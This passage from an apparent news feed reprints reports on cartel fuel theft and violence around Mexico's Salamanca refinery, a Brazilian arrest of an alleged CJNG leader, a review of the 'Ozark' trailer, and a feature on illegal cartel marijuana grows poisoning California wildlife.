It also gradually phased out subsidies that kept retail fuel cheap, causing prices at the pump to climb by an average of nearly 25% since 2014, even though global oil prices fell by as much as 75% during that period.

Mexico Pemex Enrique Pena NietoMexico Presidency/Handout via REUTERS

Higher prices were meant to attract foreign oil companies and other private investors.

They also attracted criminals, who undercut licensed retailers by selling stolen fuel at a discount. With know-how gained from extorting sectors including agriculture, transport and mining, drug gangs began applying their tried-and-true methods at refineries.

Using the habitual narco offer of “plata or plomo,” or “silver or lead,” gangs extort refinery workers into providing crucial information. Their tactics, coupled with fighting between groups jockeying for access to the racket, have led to a surge of violence in cities like Salamanca, home to a third of the fuel taps discovered in Mexico in 2016.

Mutilated corpses of refinery workers, police and suspected fuel thieves increasingly appear around the city, terrifying its 260,000 residents. Cartels routinely festoon Salamanca with “narcomantas,” banners that mark territory or spell out grisly threats to rivals.

In Guanajuato, the surrounding state, investigators opened 1096 murder cases last year, 14% more than in 2016. That is a 71% increase over 2013, Peña Nieto’s first full year in office.

Interviews with Pemex and Mexican security officials, authorities in Guanajuato and locals affected by fuel theft describe an increasingly desperate situation for the industry and the regional economy.

Interviews with Arredondo, the former pump technician, and Juan, a cartel member and admitted killer turned federal informant, show the heavy toll inflicted on people on both sides of the theft.

Juan, whose last name Reuters agreed not to disclose because of his ongoing role as an informant, is no longer in Guanajuato. His information is believed by the government to be credible and has been corroborated upon further investigation, according to one senior federal security official.

‘Don’t pass through Salamanca’

The Salamanca refinery, the second-oldest Mexican refinery in operation, was inaugurated on July 30, 1950. It was part of a nationalistic push by Mexico, 12 years after the government expropriated foreign oil assets and created Pemex, to assert economic and industrial might.

Located in Guanajuato because of the state’s central geography, with easy access to Mexico City and far-flung corners alike, the refinery became a symbol of progress. It put Salamanca, previously a farming town in a sea of sorghum fields, on the map.

Quickly, though, Salamanca and the refinery would also come to be associated with some of the deadly risks of the oil business. Jose Alfredo Jimenez, a legendary singer of Mexico’s traditional ranchera music, penned a still-famous song after a brother died after getting sick at the refinery in 1953.

“Guanajuato Road,” as the song is titled, leads to places where “life has no value,” he sang. “Don’t pass through Salamanca,” he continued, “the memory pains me there.”

The refinery grew to dominate the local economy, its fortunes rising and falling along with those of the Mexican oil industry. Although thieves targeted the pipelines leading to and from the facility, they rarely caused significant loss.

In recent years, that changed. One particular gang of “huachicoleros,” as fuel thieves are known, now dominates the racket.

Allegedly run by a local, Jose Antonio Yepez, the gang is known as the Santa Rosa de Lima cartel, after a small town 60 kilometers east of Salamanca. Yepez, himself known as “El Marro,” or “The Mallet,” is wanted by federal authorities and suspected of crimes ranging from drug trafficking to fuel theft.

Little is publicly known about him or his organization. Reuters was unable to reach Yepez for comment.

Salamanca Guanajuato MexicoREUTERS/Edgard Garrido

Juan, the informant whose account of the organization has not been reported before, said he joined the gang in 2013.

Originally from the neighboring state of Jalisco, he was earning 600 pesos ($ 32) a week as a day laborer when a friend phoned about work in Guanajuato that paid many times more.

That April, Juan said, he moved to the town of Villagran, about 25 kilometers east of Salamanca. Initially, he worked for the gang as a lookout, earning 5,000 pesos a week to report on soldiers and federal police driving through the area.

Soon, though, he graduated to filling up giant, 60,000-liter fuel tankers at a ranch called “El Caracol,” connected by buried hose to a pipeline about 3 kilometers away.

The chief fuel tapper, known as Fito, bragged to Juan and the gang about his refinery contacts and his unique tapping skills. Other tappers simply siphoned fuel from near the pipeline. Fito lined a hose along the underside of the duct, burrowed it far away and then ran it underground to the ranch.

The technique made taps difficult to detect, allowing the gang to milk pipelines continuously. One tap ran four years undetected, Fito boasted.

‘One of us’

By late 2013, El Marro’s outfit faced incursions by others, Juan and federal security officials say. The interlopers included major gangs like the Zetas, the Knights Templar and a successor cartel known as the Michoacan Family, to which the people who extorted Arredondo claimed to belong.

To deter them, El Marro built up a militia. “El Puma,” a Marro lieutenant, recruited Juan for the force.

“Now you’re one of us,” Juan said he was told by El Puma. He handed Juan a gun and said the first order of business was to take down an emerging gang made up of bandits recruited from as far away as the Pacific coast.

El Marro, a proud local, told his gang that they had the upper hand on their own turf, Juan recalled. “No dog is brave beyond its home,” El Marro said.

Juan said he and fellow militia members killed six of the rivals.

Later, a group of Zetas approached El Marro and demanded three pesos for every liter of fuel he stole. El Marro’s gang arranged a meeting with the Zetas.

Before the meeting could begin, however, Juan and his colleagues ambushed 13 of the rivals, killed them and buried them in a mass grave in a region they refer to as the “Bermuda Triangle.” In total, Juan said he had killed about 30 people.

Reuters could not independently verify Juan’s claims.

Jalisco Mexico soldiers fuel oil theftREUTERS/Fernando Carranza

The senior federal security official said the details and scope of the events Juan described are consistent with the bloodbath around Salamanca. Juan, aged 55, is the government’s single best source of information on fuel theft across Mexico, the official said.

As the gang’s strength grew, El Marro grew prominent. He bought land and racehorses and commissioned songs from a local band, a practice common among narcotraffickers to manufacture their personal mythologies.

In “Bermuda Triangle,” his signature “corrido,” as the songs are known, the group sings that “the competition sweats and fast will be finished because the Mallet rules here and he and his men hammer.”

Yepez also built up a payroll that Juan and government security officials say includes politicians, local, state and federal police, and state and federal prosecutors. Juan said on several occasions he personally delivered a payoff of 30 million pesos to one official to ensure that law enforcement turn a blind eye to the theft and extortion.

Juan named the official he allegedly gave money to, but Reuters could not independently verify the payment. Prosecutors have not charged the official with any crime.

Around late 2014, police surrounded El Marro, Juan and other gang members near the town of Celaya. El Marro remained calm, Juan recalled.

“I’m going to make a quick call,” the boss said. The police promptly let them go.

Graft among Salamanca police got so severe that the state recently fired the entire local force and replaced it with Guanajuato state officers. State police referred questions about the incident involving El Marro to state prosecutors, who did not respond to requests for comment.

The payoffs, like the theft, are all possible because of the gang’s refinery sources. “That’s where we got everything,” Juan said. “It’s the brain.”

‘I told them everything’

mexico oilReuters

Arredondo, the former refinery worker, grew up in Salamanca and is now 37 years old. He had been a pump technician for more than a decade when the extortionists phoned in 2015.

His job involved delivering gasoline, diesel and jet fuel through pipelines.

After the first call, Arredondo said he went to a manager, who told him not to disclose any information. Then the gang called again, threatening to kill him. Arredondo folded, giving the caller details of a diesel delivery.

After work that day, a motorcyclist approached and offered Arredondo an envelope. “The patron sends this,” the helmeted rider said, using a Spanish term for “boss.” Arredondo said he declined the package. But the message was clear.

Despite salaries similar to his, a modest 30,000 pesos ($ 1550) a month, some of Arredondo’s colleagues had grown affluent, buying expensive cars and watches and sending their kids to schools abroad. One colleague bragged of renting a strip club for one night, splurging on drinks and prostitutes for himself and for friends.

“They were providing information,” Arredondo realized. Such payoffs, he said, “never interested me.”

After rejecting the envelope, Arredondo said he sought to lie low. He moved house. But the thieves wanted more.

In February 2016, as he left a supermarket, armed men pulled up and told Arredondo to climb into a white van. They yelled, threatened to kill him and drove him to a ranch.

There, another group waited. The leader of that group berated him, demanding to know details about the pump team. “I told them everything,” Arredondo said, explaining the team’s eight-hour shifts, each staffed by four workers.

The group leader was unconvinced. He grabbed a pistol and struck Arredondo with the butt, cutting his forehead. The men forced him back into the van, drove off and tossed him by the roadside.

Going to the police was out of the question. That year, two refinery colleagues were killed. Family members of the victims told Arredondo that the colleagues had informed police about threats from fuel thieves.

Police referred questions about those deaths to the Guanajuato state attorney general’s office. A spokeswoman there said it had records of three suspected murders of Pemex employees in recent years.

A Reuters review of local press coverage found at least seven alleged murders of Pemex workers around Salamanca since 2012. The company and law enforcement rarely confirm employment details of victims after such killings.

Clients get fuel at a gas station of state-owned company Petroleos Mexicanos (PEMEX), in Ciudad Juarez, Mexico October 4, 2017. REUTERS/Jose Luis GonzalezThomson Reuters

The calls to Arredondo intensified, now directly to his cell phone. He told managers once more, but said they were little help.

Arredondo moved again. But the men from the van caught up with him, lingering outside his new home and making sure to catch his eye.

“I felt cornered,” he said. He moved a third time.

On October 18, 2016, his 36th birthday, Arredondo went to a bar. As he left, a man stabbed him in the stomach and ran off, not bothering to speak or even rob him.

For two months, he recovered at his parents’ house. The day before he planned to return to the refinery, he went home. But there were the gang members, yet again.

“I realized that this was never going to end,” he said.

Arredondo immediately bought a plane ticket for Canada, where he once vacationed. He took a bus to Mexico City the next morning and left his country that night.

‘No longer a blessing’

Arredondo is not the only one now fleeing Guanajuato.

Before the surge in violence, the state’s location had made it a hub for manufacturing and logistics and an emerging hotbed for business. Investment in Guanajuato, which peaked at $ 2.9 billion in 2015, is now falling steadily, reaching less than half that amount for most of 2017, according to state figures.

Up to 15% of Salamanca’s 10,000 businesses have closed, said Francisco Gonzalez, head of a local chamber of commerce. “The refinery, and Pemex in general, are no longer a blessing for us,” he said.

The refinery is underperforming, operating at just over 60% of its capacity in 2017 and getting less funding than in years past.

Mexico oil refinery signREUTERS/Edgard Garrido

Despite Pena Nieto’s promise to modernize the sector, low oil prices have handicapped investments in the six refineries. The 2017 budget allocated 18.92 billion pesos for refinery upgrades, less than half the 39.77 billion spent in 2014.

Efforts to lure private investment, meanwhile, have struggled.

Last month, Pemex reached a preliminary deal with Japan’s Mitsui & Co Ltd to complete a $ 2.6 billion coking plant at its refinery in Tula de Allende, north of Mexico City, according to two people familiar with the decision.

But Pemex officials last year sought separate refinery funding from companies including Valero Energy Corp and Tesoro Corp , according to two people familiar with those efforts. Neither company was interested.

Mitsui, Valero and Tesoro, which last year changed its name to Andeavor, declined to comment.

“There is no incentive to invest in the Mexican refining system,” said John Auers, executive vice-president of Turner, Mason & Company, a global refining consultancy, citing “organized crime and corruption.”

The report commissioned by Mexico’s energy regulator assigns blame inside and outside the sector. “The problem is corruption, not just in security and judicial services, but also inside Pemex,” it read.

In public pronouncements, Pemex has vowed to crack down. The company said in an October statement it had fired an unspecified number of employees for unspecified illegal activity at Salamanca’s storage and distribution center. It did not elaborate.

“What we’re starting to see is that we’re approaching the end,” Pemex Chief Executive Jose Antonio Gonzalez Anaya told lawmakers recently, referring to what he described as gains against fuel thieves. In late November, Pena Nieto named Gonzalez Anaya finance minister and announced a new Pemex chief.

mexico refinery oilHenry Romero/Reuters

Few in Salamanca see any end to the problem in sight. Police increasingly seize vehicles, including school buses, ambulances, and delivery trucks, gerryrigged to carry stolen fuel.

“El Marro,” on the offensive after continued incursions by rivals, in October published a YouTube video in which he shouts expletives and vows to hunt down members of the Jalisco New Generation cartel. Behind him, about 70 men brandish automatic rifles, cheer and empty their magazines into the sky.

Juan, the former gang member, said he recently found religion and a girlfriend, with whom he had a son in 2016. He left the gang in early 2017 and sought out authorities.

Arredondo, meanwhile, is hoping for asylum.

In June, the Immigration and Refugee Board of Canada rejected his initial petition. Although it called him “a largely credible witness,” the panel recommended he relocate within Mexico, suggesting two cities where the Michoacan Family is not present. A spokeswoman for the refugee board said it could not comment on specific applications for asylum.

Arredondo appealed the board’s decision and has a “good shot,” said Christina Gural, his Canadian lawyer. Just in case, though, Arredondo is researching asylum possibilities in other countries, including Australia, Norway and Finland. Of one thing he is certain.

“I can’t return to Salamanca,” he said.

(Reporting by Gabriel Stargardter in Salamanca. Additional reporting by Gary McWilliams in Houston and Ana Isabel Martinez, Adriana Barrera, Marianna Parraga, David Alire Garcia, Dave Graham and Dayann Burbano in Mexico City. Edited by Paulo Prada.)

NOW WATCH: The wives of El Chapo’s henchmen reveal how they hid and spent $ 2 billion

]]> https://briefnews.eu/mexican-drug-cartels-are-targeting-a-multibillion-dollar-industry/feed/ 0 Brazil captured an alleged member of one Mexico’s most powerful drug cartels on his Christmas vacation https://briefnews.eu/brazil-captured-an-alleged-member-of-one-mexicos-most-powerful-drug-cartels-on-his-christmas-vacation/ https://briefnews.eu/brazil-captured-an-alleged-member-of-one-mexicos-most-powerful-drug-cartels-on-his-christmas-vacation/#respond Fri, 29 Dec 2017 13:35:35 +0000 http://briefnews.eu/brazil-captured-an-alleged-member-of-one-mexicos-most-powerful-drug-cartels-on-his-christmas-vacation/ José González Valencia CJNG Brazil mugshotBrasil Patriotas TV/Noticieros Televisa

  • Jose Gonzalez Valencia was arrested at a resort area near Fortaleza in northeastern Brazil.
  • Gonzalez Valencia is believed to be a leader of the powerful Jalisco New Generation cartel and is wanted by the US government.
  • The CJNG is one of Mexico’s most powerful criminal organizations.

Brazilian police have arrested an alleged Mexican drug boss, federal prosecutors said on Wednesday, in a blow to one of the most powerful organizations in Mexico’s criminal underworld.

According to the arrest warrant, police detained Jose Gonzalez Valencia, 42, a leader of the Jalisco New Generation Cartel (CJNG), with the intention of fulfilling a US extradition request.

Once a little-known gang, the CJNG has grown in recent years to challenge the Sinaloa Cartel of captured kingpin Joaquin “El Chapo” Guzman for primacy of the drug trade in Mexico.

mexico drug cartel Jalisco New GenerationScreen grab

Gonzalez Valencia had been living in neighboring Bolivia for two years after fleeing Mexico and had entered Brazil as a tourist using a Bolivian passport, Brazilian prosecutors said in a statement.

Gonzalez Valencia was arrested at a beach resort near the coastal city of Fortaleza and brought to the headquarters of the federal police for the state of Ceará. He had been in Brazil on vacation with his family since December 22, a Brazilian police official said, and did not resist arrest.

He was reportedly carrying a Bolivian identification card that declared him a Mexican citizen named Jafett Arias Becerra.

An official at the state prosecutor’s office in the western Mexican state of Jalisco — where the CJNG established itself and serves as a base for much of its operations — said Gonzalez Valencia is the brother of Abigael Gonzalez Valencia, a CJNG leader captured in February 2015.

The Jalisco official said Gonzalez Valencia was due to be extradited straight to the US from Brazil.

Abigael Gonzalez Valencia was named by the US as a narcotics trafficker and leader of the Los Cuinis drug-trafficking organization, alongside alleged CJNG chief Nemesio “El Mencho” Oseguera Cervantes, in April 2015.

“These two organizations have rapidly expanded their criminal empire in recent years through the use of violence and corruption,” acting Office of Foreign Asset Control director John E. Smith said at the time. “They now rank among the most powerful drug trafficking organizations in Mexico.”

Nemesio Oseguera Cervantes El Mencho Abigael Gonzalez Valenci CJNG Jalisco New Generation cartel Los CuinisUS Treasury/Office of Foreign Asset Control

Los Cuinis and the CJNG are tightly allied; some believe Los Cuinis is the financial arm of the CJNG, while others see them as partners. Some reports prior to Abigael Gonzalez Valencia’s arrest identified him as the overall leader of the two groups.

The CJNG itself originally formed as a faction of the powerful Sinaloa cartel, but it broke away around 2010, assuming control of drug trafficking in Jalisco state. In the years since, CJNG’s expansion, first eastward and then northward, has helped push deadly violence to new highs in Mexico.

Along the way, the CJNG has corrupted and bloodied police and military personnel, expanded into the US market, and, according to some, become the US’s main supplier of crystal meth.

Jalisco CJNG cartel MexicoREUTERS/Alejandro Acosta

The CJNG is now considered one of the most powerful criminal groups in Mexico — many see it and the Sinaloa cartel as the only true cartels left, after years of law-enforcement pressure and inter- and intra-cartel fighting caused rival groups to splinter in smaller factions.

Competition between the CJNG and the Sinaloa cartel seemed to accelerate in the months after “El Chapo” Guzman’s arrest in January 2016, driving violence in and around Sinaloa state — including the August 2016 kidnapping of at least of one of Guzman’s sons, who was returned unharmed.

Fighting between the CJNG and Sinaloa cartels appears to have eased in recent months, but factions of each organization are believed to be competing for control of Tijuana and Ciudad Juarez, both of which are valuable territories for smugglers seeking entry to the voracious US drug market.

(Reporting for Reuters by Lisandra Paraguassu and Lizbeth Diaz; writing by Gram Slattery; editing by Leslie Adler)

NOW WATCH: Forget ‘El Chapo’ — this is Mexico’s most powerful drug lord

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]]> https://briefnews.eu/brazil-captured-an-alleged-member-of-one-mexicos-most-powerful-drug-cartels-on-his-christmas-vacation/feed/ 0 ‘Ozark’ Trailer: Jason Bateman Launders the Cartel’s Drug Money in Netflix’s New Drama https://briefnews.eu/ozark-trailer-jason-bateman-launders-the-cartels-drug-money-in-netflixs-new-drama/ https://briefnews.eu/ozark-trailer-jason-bateman-launders-the-cartels-drug-money-in-netflixs-new-drama/#respond Thu, 13 Jul 2017 11:39:48 +0000 http://briefnews.eu/ozark-trailer-jason-bateman-launders-the-cartels-drug-money-in-netflixs-new-drama/ Ozark trailer 2

I thought the teaser trailer for Jason Bateman and Laura Linney‘s dark new Netflix thriller Ozark looked intriguing, but I hadn’t seen anything yet. The streaming service has released a full trailer and this show is giving off some serious Breaking Bad vibes: a money launderer for the cartel gets in over his head, moves out of the city and heads to the Ozarks, and tries to stay one step ahead of an FBI agent while doing terrible things to save his family.

Watch the new Ozark trailer below.

Ozark trailer

Okay, so it’s probably too early to dub this the next Breaking Bad since that show is absolutely legendary in its greatness, but Ozark has earned strong reviews thus far – especially from Variety, who called the series “a crime story that is part-thriller, part-caper, and endlessly surprising” and praises Bateman’s lead performance as his best since his memorable turn as Michael Bluth on Arrested Development. One thing’s for sure: with bodies falling out of the sky and drug lords killing people in front of him, this looks like it couldn’t possibly be further away from the hilarious hijinks of Mitch Hurwitz’s sitcom. That’s great news for Bateman, as it’ll allow us to see him operate on an entirely different playing field as an actor and show us if he can stretch his range further than we’ve seen him go before.

Sofia Hublitz, Skylar Gaertner, Julia Garner, Jordana Spiro, Jason Butler Harner, Esai Morales, Peter Mullan, and Lisa Emery co-star. Jason Bateman, Daniel Sackheim (The Americans), Ellen Kuras (the director of photography on Eternal Sunshine of the Spotless Mind), and Andrew Bernstein (Mad Men) split the directing duties for the first season’s batch of episodes, while Bateman will executive produce alongside showrunner Chris Mundy (Low Winter Sun) and creators Bill Dubuque (The Judge) and Mark Williams (The Accountant).

A Chicago financial advisor who has been quietly laundering money for a drug kingpin, must quickly uproot his kids and move the operation to The Ozarks, after his partner is caught cheating the business. There, he bumps heads with both a local drug dealer whose business he inadvertently interrupts, and a clan of ruffians, led by their 19-year-old niece, who want his money, all the while avoiding the eye of a tenacious FBI agent. He must complete his laundering, to save the life of his family, as they struggle to find their own path in this seemingly foreign way of life.

The complete first season of Ozark will be available to stream on Netflix starting on July 21, 2017.

The post ‘Ozark’ Trailer: Jason Bateman Launders the Cartel’s Drug Money in Netflix’s New Drama appeared first on /Film.

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]]> https://briefnews.eu/ozark-trailer-jason-bateman-launders-the-cartels-drug-money-in-netflixs-new-drama/feed/ 0 Cartels are growing marijuana illegally in California — and there’s a war brewing https://briefnews.eu/cartels-are-growing-marijuana-illegally-in-california-and-theres-a-war-brewing/ https://briefnews.eu/cartels-are-growing-marijuana-illegally-in-california-and-theres-a-war-brewing/#respond Sat, 08 Apr 2017 20:18:14 +0000 http://briefnews.eu/cartels-are-growing-marijuana-illegally-in-california-and-theres-a-war-brewing/ Marijuana warsMorgan Heim, bioGraphic

In the gray half-light of dawn, eight figures creep through the dry pine forest near Quincy, California. Seven of them wear camo uniforms bearing the logos of various government agencies: U.S. Forest Service, National Guard, California Fish & Wildlife, Plumas County Sheriff. Most have blackened faces and assault rifles at the ready. An 11-year-old Belgian Malinois named Phebe and her K9 handler lead the way. 

Number eight is tall and dressed in black, with a rumpled bush hat and a Springfield Armory 9mm pistol in a hip holster. With a kaffiyeh wrapped under a dark beard, and eyebrows (in his words) “like two caterpillars about to mate,” Dr. Mourad Gabriel could pass as a local interpreter on a Special Forces raid if this were Iraq or Afghanistan. Instead, he’s a wildlife biologist accompanying law-enforcement agents on an illegal marijuana farm bust.

The group traverses hillsides, fords streams, tiptoes through thickets of fern and willow, trying not to snap twigs or shake saplings. Radios crackle with whispers. Tiptoeing through rough terrain is slow going: It takes almost four hours to go three miles.

At last the goal is in sight: a dense garden of pot plants on a steep slope above Palmetto Creek. The dog team and two others move in while the rest, including

Gabriel, hold tight down by the creek. Growers are often armed, and if there are any around, they could make a break for it. Runners usually head downhill.

Word comes back: Nobody’s home. The whole team can enter safely. It’s time for Gabriel to go to work.

A combination of ideal growing weather and proximity to tens of millions of potential customers has always made northern California a great place to grow dope. California was the first to permit medical marijuana, in 1996, and this past November, residents voted “yes” on Prop 64, making California the fifth state to legalize recreational pot. Almost two-thirds of the country’s total legal harvest comes from the Golden State. The crop brought in $ 2.8 billion in 2015, putting it somewhere between lettuce and grapes, and some estimates project the state’s “green gold rush” could become a $ 6.5 billion market by 2020.

Even as California embraces the booming legal marijuana market, though, it is also seeing an explosion in illegal cultivation, much of it on the state’s vast and remote stretches of public land. National forests and even national parks have seen a surge in large-scale illegal “trespass grows,” some with tens of thousands of plants spread across dozens of acres. As much as 80 percent of illegal pot eradicated in California is grown on federal lands, and that’s just the fraction that authorities find. (Trespass grows occur in other states in the American West, and even in remote areas back east, but at nowhere near the scale of California.) 

The surge has overwhelmed land-management and law-enforcement agencies, whose resources are already stretched thin. Here in the Plumas National Forest, for instance, three USFS officers have to cover some 4,600 square kilometers (1,790 square miles). That’s why so many different agencies are cooperating on this raid.

As the executive director of the non-profit Integral Ecology Research Center (IERC), Gabriel’s usual purview is studying ecosystems and their inhabitants, from big cats to endangered invertebrates. He never expected to find himself packing heat and creeping through the forest, let alone facing other threats to his and his family’s safety. But he has taken up the challenge because of illegal pot growing’s insidious side effects: The lethal poisons growers use to protect their crops and campsites from pests are annihilating wildlife, polluting pristine public lands, and maybe even turning up in your next bong hit.

Up on the hillside, bright green plants sprout from shallow holes gouged into the slope. Some plants are more than 2.5 meters (8 feet) tall—a sativa strain, known for its energizing highs—while others are shorter, with the darker leaves of mellower indica. A tangled web of plastic irrigation lines feed every hole. It smells like you’d expect a pot garden to smell as it bakes in the sun: herbal and musky and medicinal all at once.

marijuana biographicMorgan Heim, bioGraphic

As soon as they arrive, officers begin chopping down the plants with machetes and garden pruners. Gabriel pulls on blue nitrile gloves, plucks a pot leaf and sticks it into a small plastic bag to test for pesticide residue. Then he kneels to examine a Gatorade bottle lying on the ground. Growers often use empty containers like this to store toxic chemicals. In the previous year, every Gatorade bottle Gabriel and his team found at grow sites tested positive for carbofuran, a neurotoxic insecticide that is so nasty it has been banned in the U.S., Canada and the EU.

Farmers in Kenya have used it to kill lions. Symptoms of exposure range from nausea and blurred vision to convulsions, spontaneous abortions, and death. “They just leave these sitting around,” Gabriel says as he carefully swabs the bottle.

In 2009, Gabriel was studying Pacific fishers (Pekania pennanti), cat-sized carnivores that live in old-growth forests in the Rockies and Sierra Nevadas. Fishers look cute and cuddly, but they’re the only animals that regularly kill and eat porcupines (Erethizon dorsatum). Small, isolated populations live in Washington, Oregon, and California. (Just last year, despite the numerous threats fishers face, including logging and wildfires, the U.S. Fish & Wildlife Service decided against granting the animals federal protection under the Endangered Species Act.) 

There are fewer than 500 fishers left in the mountains of northern California. So when Gabriel performed a necropsy on one individual in 2009 and found its body cavity filled with blood from some kind of hemorrhagic response, red flags went up. Tests showed the animal was full of an acute rodenticide (AR) so toxic it is not sold legally in the U.S. (Acute or second-generation rodenticides are exceptionally lethal, designed to kill in a single dose.) As more poisoned fishers turned up, Gabriel and other biologists were baffled. Radio collar data showed the animals hadn’t gone near farms. Where were the poisons coming from?

Gabriel started reporting his findings at scientific conferences, in part to see if anyone could help figure out what was going on. At one of these, a conservation officer approached him afterward and offered an explanation: illegal marijuana grow sites, where the officer would often see containers of rodenticides and other chemicals.

Suddenly the puzzle made sense. Gabriel and his colleagues tested 58 fisher carcasses they had collected over the previous three years and found that more than 80 percent had rodenticide in their systems. It even showed up in nursing kits, meaning the mothers passed it through their milk. Some animals tested positive for four separate toxic compounds. Since then the numbers have only risen. In 2016, the scientists tested 22 radio-collared fishers that had apparently died of natural causes; every one had some kind of synthetic poison in its system.

Some 50 different toxicants have turned up at grow sites. (“Toxicants” are manmade poisons, while “toxins” are naturally occurring.) Growers use the poisons to keep rodents and other animals from eating the sugar-rich sprouting plants, from gnawing on irrigation tubing, and from invading their campsites in search of food. Acute rodenticides cause neurological damage and internal bleeding. Animals literally drown in their own blood or stumble around until they’re eaten themselves, passing the poison up the food chain to predators like owls and fishers.

Growers bait open tuna cans with pesticides, which are often flavored like meat or peanut butter, or string up poisoned hot dogs on fishhooks. People have found bears, foxes, vultures, and deer with chemicals from grow sites in their bodies. One study of barred owls (Strix varia) in the Pacific Northwest found that 80 percent of the birds tested positive. And for every animal found, there are probably dozens more in a similar condition.

“It’s a massive problem,” says Craig Thompson, a wildlife ecologist with the U.S. Forest Service. “People don’t tend to grasp the industrial scale of what’s going on. There are thousands of these sites in places the public thinks are pristine, with obscene amounts of chemicals at each one. Each one is a little environmental disaster.” Thompson also studies fishers in the Sierras, and he is one of the few scientists besides Gabriel who studies the problem firsthand. “I can stand at the intersection of two forest roads and generally know of three or four pot gardens within a quarter or half a mile. 

Gabriel and Thompson fear the poisons could spread far beyond each grow site and contaminate the water supply of towns and cities far downstream. The toxicants can leach into the soil and linger for years. Using water monitors, Gabriel has already found organophosphates—nerve agents used to make insecticides and certain types of chemical weapons—several hundred meters downhill from grow sites. “We know it’s happening, we just don’t know the extent, and we don’t know what other chemicals are involved,” he says.

“I think they were out of here already, maybe to resupply,” says Chris Hendrickson, a detective with the Plumas County Sheriff’s Office who coordinated the raid. Hendrickson is soft-spoken, with glasses and a light mustache. He’s sifting through the mess of the growers’ campsite, a dirt platform under a camouflage tarp just beyond the last plot. It contains everything a few people would need to live for months: sleeping bags, cots, a propane stove, bug spray, cartons of eggs and bags of rice, potatoes and sugar. Many of the food labels are in Spanish; a jar of pickled nopales—prickly pear cactus pads—sits near a pile of dirty clothes and a solar cell phone charger.

Hendrickson estimates he has gone on about 50 raids in his nine years as an investigator. This one is typical, he says: probably two guys tending the plots for anywhere from two to four months, with occasional food drops and extra help during planting and harvest.

It takes about an hour for the team to chop down or uproot all 5,257 plants. While wholesale prices for illegal pot have fallen by half over the past decade, even at the current rate of around $ 1,500 per pound, at a rough estimate of a pound per plant, that’s almost $ 8 million lying in the dirt. Someone’s going to be severely disappointed when they come to check the crop. “These guys will be coming back,” Hendrickson says. “It would be interesting to be a fly on the wall when they see what has happened.”

Pot from illegal sites like this one can end up anywhere. “These guys aren’t growing for the legal recreational market or medical dispensaries—they’re growing to exploit a black market somewhere,” says Mark Higley, a wildlife biologist with the Hoopa Tribe in Humboldt County, whose reservation has seen an explosion in illegal grow sites. While there is no proof that illegal pot ends up in the burgeoning legal market, many familiar with the industry suspect it does.

Law enforcement officials think many trespass grows are set up by Mexican drug cartels, which prefer to ship marijuana from state to state rather than smuggle it over the international border. Growers arrested during raids are often undocumented immigrants in their 20s from Michoacan, experienced in covert agriculture and hard living. They earn around $ 150 a day for two to four months, much more than they would at a farm or winery. 

marijuana warsMorgan Heim, bioGraphic

Captured growers sometimes claim their employers are holding their families hostage until the harvest is collected. Whether or not that’s true, they’re motivated to protect the crop. Hendrickson estimates between a quarter and half of raids turn up some kind of weapon, from crossbows to automatic rifles. He has found elevated sniper positions set up near grow sites.

Growers have followed, detained, threatened, pursued, and shot at officers and civilians, including scientists and field techs. One Forest Service biologist who stumbled upon a grow site in Sequoia National Forest was chased for close to an hour by armed growers. When he briefly lost radio contact, his supervisors feared he had been captured or was dead, but he made it out safely. In a single week in the summer of 2016, two K9 dogs were stabbed while apprehending suspects at trespass grows. (Both survived and have returned to work.) 

“I’m worried about my family going hiking and running across one of these, or my friends,” Hendrickson says. Gabriel looks up from counting empty bags of fertilizer. “I’ve hiked and snowmobiled through this drainage,” he says. “We’ve done spotted owl surveys here, too. There’s a nest right over there.”

Pesticides have been the biggest recent game-changer for law enforcement, Hendrickson says. The possibility of coming into contact with a neurotoxin sprayed on a plant or hidden in a Coffee-mate jar makes raids even more dangerous, not to mention slower. “We still make sure a garden is safe when we go in, but now it takes a lot longer to assess if there are dangerous chemicals or not. Safety-wise, it’s huge for us.”

Just walking through rows of plants coated with toxic chemicals can be enough to bring on symptoms like lethargy and headaches—let alone spending hours cutting them down in the hot sun under the wash of a helicopter. Gabriel and his employees have started getting monthly blood tests to check for pesticide exposure.

Some chemical threats are more immediate. At one site Gabriel was inspecting an unfamiliar container full of aluminum phosphide, a poisonous powder used to kill rodents and insects. It had gasified and built up pressure in the heat of the sun. When he touched it, it exploded in his face. Luckily he was wearing a hazmat respirator. 

“My biggest fear is that some kid will come across one of those bottles,” Thompson says. “Carbofuran is pink, it looks like Pepto, like candy. Can you imagine what a five-year-old would do with that?” 

As the last of the plants at Palmetto are cut down, Gabriel totals up his findings: 3.6 kilograms (8 pounds) of bromodialone, a restricted-use neurotoxic rodenticide, and two bottles of malathion, an organophosphate insecticide that’s basically a watered-down version of the nerve agent sarin. Each bottle is enough to make 1,900 liters (500 gallons) when mixed with water. All of it has to be left behind, at least for now, since moving it would require hazmat protocols and more time and money than anyone has at the moment. 

Gabriel’s expertise in wildlife toxicology has become a huge asset to law enforcement, both in terms of keeping officers safe and gathering evidence for prosecution, says Forest Service patrol commander Chad Krogstad. “He’s helping us out tremendously, giving us environmental background data and even testifying in some of our cases.” But the work comes at a cost.

That evening in a tiny pizzeria in nearby Greenville, the stress of the morning’s efforts shows in Gabriel’s face and posture. Usually he’s fizzing with energy, peppering conversations with “Dude!” and going off on endearingly geeky tangents about chemistry or animal behavior like a kid talking Minecraft. Now he’s glancing at the clock, wondering where dinner is. Three simultaneous orders have overwhelmed the kitchen. 

“I never thought that studying wildlife diseases would land me in the middle of the drug war,” he says. “But you can’t just stand by and do nothing.” He’s quick to emphasize that his role is strictly that of an objective observer. He’s not advocating or making arrests; he’s a scientist, collecting and analyzing data and reporting his results—even though that entails going on raids and packing heat, and in the end, seeing his efforts help put people in jail.

“I gave up being objective about this a long time ago,” Thompson says. “I think it was the day I looked at a map and saw a grow site maybe 100 yards upstream of a place I’ve taken my kids to play in the water and fish. That makes it a personal issue.” 

It’s an unusual position to be in for a scientist trained in dispassionate data collection and objectivity above all, and one that’s often uncomfortable as well as dangerous. Gabriel’s many published papers and presentations on the topic of pot poisons have raised his public profile significantly. In the heart of drug country, that’s not a good kind of notoriety.

Growing marijuana has been a way of life in northern California for decades. Even though more and more is being grown legally, Gabriel’s inadvertent role as “the scientist who helps cops raid pot farms” has—in some eyes—brought unwelcome attention. In Eugene, near where he lives, strangers at the supermarket and gas station have invited him to go fuck himself. Grower websites have posted the latitude and longitude coordinates of his home, and his office has been burglarized. From the pattern of door and room alarms that were triggered, it looked like the intruder headed straight for his desk. “That means someone was probably watching where I sit,” he says.

marijuana warsMorgan Heim, bioGraphic

